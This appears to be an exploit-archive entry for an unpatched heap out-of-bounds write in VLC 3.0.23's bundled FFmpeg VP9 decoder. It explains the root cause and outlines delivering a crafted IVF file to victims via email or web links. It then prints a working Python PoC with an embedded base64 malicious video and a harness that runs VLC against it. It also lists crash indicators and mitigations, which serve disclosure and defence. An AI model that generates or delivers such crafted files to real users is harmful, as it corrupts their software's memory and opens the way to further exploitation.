PoC Archive PoC Archive
Medium None assigned as of 2026-07-03 unpatched

VLC Bundled FFmpeg VP9 Decoder Resolution-Change Heap Crash

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
Medium
CVE
None assigned as of 2026-07-03
Category
binary
Affected product
VLC media player, bundled FFmpeg VP9 decoder (plugins/codec/libavcodec_plugin.dll)
Affected versions
VLC 3.0.23 for Windows x64; VP9 decoder source lineage FFmpeg 4.4.x
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-07
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorybinary
SeverityMedium
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusIncomplete PoC
Tagsvlc, ffmpeg, vp9, ivf, heap-overflow, media-parsing, crash, windows, decoder
RelatedN/A

Affected Target

FieldValue
Software / SystemVLC media player, bundled FFmpeg VP9 decoder (plugins/codec/libavcodec_plugin.dll)
Versions AffectedVLC 3.0.23 for Windows x64; VP9 decoder source lineage FFmpeg 4.4.x
Language / PlatformPython (crafts the malicious IVF/VP9 file); target is Windows x64 VLC
Authentication RequiredNo
Network Access RequiredNo (local file opened by the victim in VLC)

Summary

VLC 3.0.23’s bundled FFmpeg VP9 decoder tracks per-frame slice-thread progress in an entries array sized from the superblock row count (sb_rows) of the current frame. A crafted two-frame VP9 IVF file — a 64x64 first frame followed by a 64x8192 second frame that keeps the VP9 tile-column layout stable — causes the decoder to reuse a stale, undersized entries allocation (sized for the small first frame) while the slice-thread reset loop writes a zero value for every row of the much larger second frame, producing a sequence of out-of-bounds heap writes past the original allocation. The researcher explicitly marks this work “Research status: incomplete and continuing” and has intentionally stopped short of demonstrating full exploitability beyond a crash. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

The VP9 decoder’s slice-thread entries progress array is allocated based on sb_rows = (height + 63) >> 6 for the frame that triggers allocation, but is not reallocated when a later frame increases sb_rows while the tile-column count stays the same. The reset loop for (i = 0; i < s->sb_rows; i++) atomic_store(&s->entries[i], 0); then writes zeroes across the new, larger row count into the old, smaller allocation — an out-of-bounds heap write.

Attack Vector

  1. Craft a VP9 IVF file with two frames: frame 1 at 64x64 (allocates entries for sb_rows = 1, 4 bytes), frame 2 at 64x8192 (sb_rows = 128) with the same tile-column configuration.
  2. Deliver the file to a victim who opens it in VLC 3.0.23 on Windows (e.g. via download, email attachment, or web link).
  3. VLC’s bundled FFmpeg VP9 decoder decodes frame 1, allocating the small entries array.
  4. On decoding frame 2, the stale slice-thread reset loop writes zero to 128 row entries against the 4-byte allocation, corrupting adjacent heap memory.

Impact

Heap corruption in the VLC process when opening an attacker-supplied VP9 video file; observed outcomes include heap-corruption-triggered termination and access violations. The researcher’s own instrumentation observed 127 of 129 total entries stores landing past the requested 4-byte allocation. Full exploitability (e.g. controlled code execution) has not been demonstrated and the research is explicitly ongoing.


Environment / Lab Setup

Target:   VLC media player 3.0.23 for Windows x64 (plugins/codec/libavcodec_plugin.dll, FFmpeg 4.4.x VP9 decoder lineage)
Attacker: Python 3 (stdlib only) to generate the malicious IVF file

Proof of Concept

PoC Script

See poc.py in this folder.

1
2
python poc.py -o sample.ivf
python poc.py --vlc "C:\Path\To\VLC\vlc.exe"

The script generates a 405-byte two-frame VP9 IVF file (64x64 then 64x8192) with a stable tile-column layout, prints its SHA256 hash and size, and optionally launches a local VLC binary against the generated sample to observe the crash.


Detection & Indicators of Compromise

Signs of compromise:

  • VLC crash reports or Windows Error Reporting entries referencing libavcodec_plugin.dll shortly after a video file is opened
  • Unusual .ivf/VP9 files with a small initial frame followed by a dramatically larger frame at the same tile-column configuration
  • Heap corruption or access violation crash dumps with faulting addresses inside VP9 decoder slice-thread structures

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory; VP9 decoder should reallocate (or bound) the slice-thread entries array whenever sb_rows increases across frames, not only when tile-column count changes
Interim mitigationAvoid opening untrusted video files in VLC 3.0.23; consider using a hardened/sandboxed media player or up-to-date FFmpeg build for untrusted content until a fix lands

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: vlc-vp9-reschange-crash-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation. The source author explicitly marks this entry “Research status: incomplete and continuing” — this is a compact crash reproducer, and full exploitability of the underlying primitive has not been established.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import json
import subprocess
import sys
import time
from pathlib import Path


SAMPLE_B64 = (
    "REtJRgAAIABWUDkwQABAAAEAAAABAAAAAgAAAAAAAABeAAAAAAAAAAAAAACCSYNCAAPwA/YGOCQcGEoAACBAAGtD///lXb23/SskhXr7zdPyoCRyEjNuPymkNJQgETBR424BCv//rXCHLKdpldqOXFZdaWk1nVibjsmAd3pGejzlO0+dlygBOCSA/wAAAAEAAAAAAAAAgkmDQgAD8f/2BjgkHBhKAADQR9j9Ye4xQAev+/8OAGxOd+f8niRqQFa1U/7kzgammYg1AcYQFrhfX6tE38imv1MXtaAO/yiEiKaaDpaMxLBBYGTZ80JtDb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GUoA"
)

EXPECTED_SHA256 = "F26BDEFBDFD0B44359E314E0BFDE7AEA979D29F80F598749DCCA68AB34F54649"

CRASH_CODES = {
    0xC0000005: "access_violation",
    0xC0000374: "heap_corruption",
    0xC0000409: "stack_buffer_overrun",
}


def code32(value):
    if value is None:
        return None
    return value & 0xFFFFFFFF


def classify_returncode(value):
    code = code32(value)
    if code is None:
        return "timeout"
    if code == 0:
        return "clean"
    if code in CRASH_CODES:
        return f"crash:{CRASH_CODES[code]}"
    return "nonzero"


def write_sample(path):
    data = base64.b64decode(SAMPLE_B64)
    digest = hashlib.sha256(data).hexdigest().upper()
    if digest != EXPECTED_SHA256:
        raise RuntimeError(f"embedded sample hash mismatch: {digest}")
    path.parent.mkdir(parents=True, exist_ok=True)
    path.write_bytes(data)
    return data


def run_vlc(vlc, sample, timeout):
    cmd = [
        str(vlc),
        "-I",
        "dummy",
        "--dummy-quiet",
        "--ignore-config",
        "--no-media-library",
        "--play-and-exit",
        "--run-time",
        "2",
        "--no-one-instance",
        "--no-qt-privacy-ask",
        "--no-qt-error-dialogs",
        "--no-crashdump",
        "--no-audio",
        "--vout",
        "dummy",
        str(sample),
        "vlc://quit",
    ]
    started = time.time()
    try:
        proc = subprocess.run(
            cmd,
            cwd=str(vlc.parent),
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            timeout=timeout,
        )
        returncode = proc.returncode
        stdout = proc.stdout.decode("utf-8", "replace")
        stderr = proc.stderr.decode("utf-8", "replace")
    except subprocess.TimeoutExpired as exc:
        returncode = None
        stdout = (exc.stdout or b"").decode("utf-8", "replace")
        stderr = (exc.stderr or b"").decode("utf-8", "replace")
    return {
        "status": classify_returncode(returncode),
        "returncode": returncode,
        "returncode_hex": f"0x{code32(returncode):08x}" if returncode is not None else None,
        "elapsed": round(time.time() - started, 3),
        "stdout_tail": stdout[-2000:],
        "stderr_tail": stderr[-2000:],
    }


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-o",
        "--output",
        type=Path,
        default=Path("vp9_reschange_64x64_to_64x8192_tc0.ivf"),
    )
    parser.add_argument("--vlc", type=Path, help="optional path to vlc.exe for local replay")
    parser.add_argument("--timeout", type=float, default=8)
    args = parser.parse_args()

    data = write_sample(args.output)
    result = {
        "sample": str(args.output.resolve()),
        "sha256": hashlib.sha256(data).hexdigest().upper(),
        "size": len(data),
    }
    if args.vlc:
        result["vlc"] = run_vlc(args.vlc.resolve(), args.output.resolve(), args.timeout)
    print(json.dumps(result, indent=2))


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        sys.exit(130)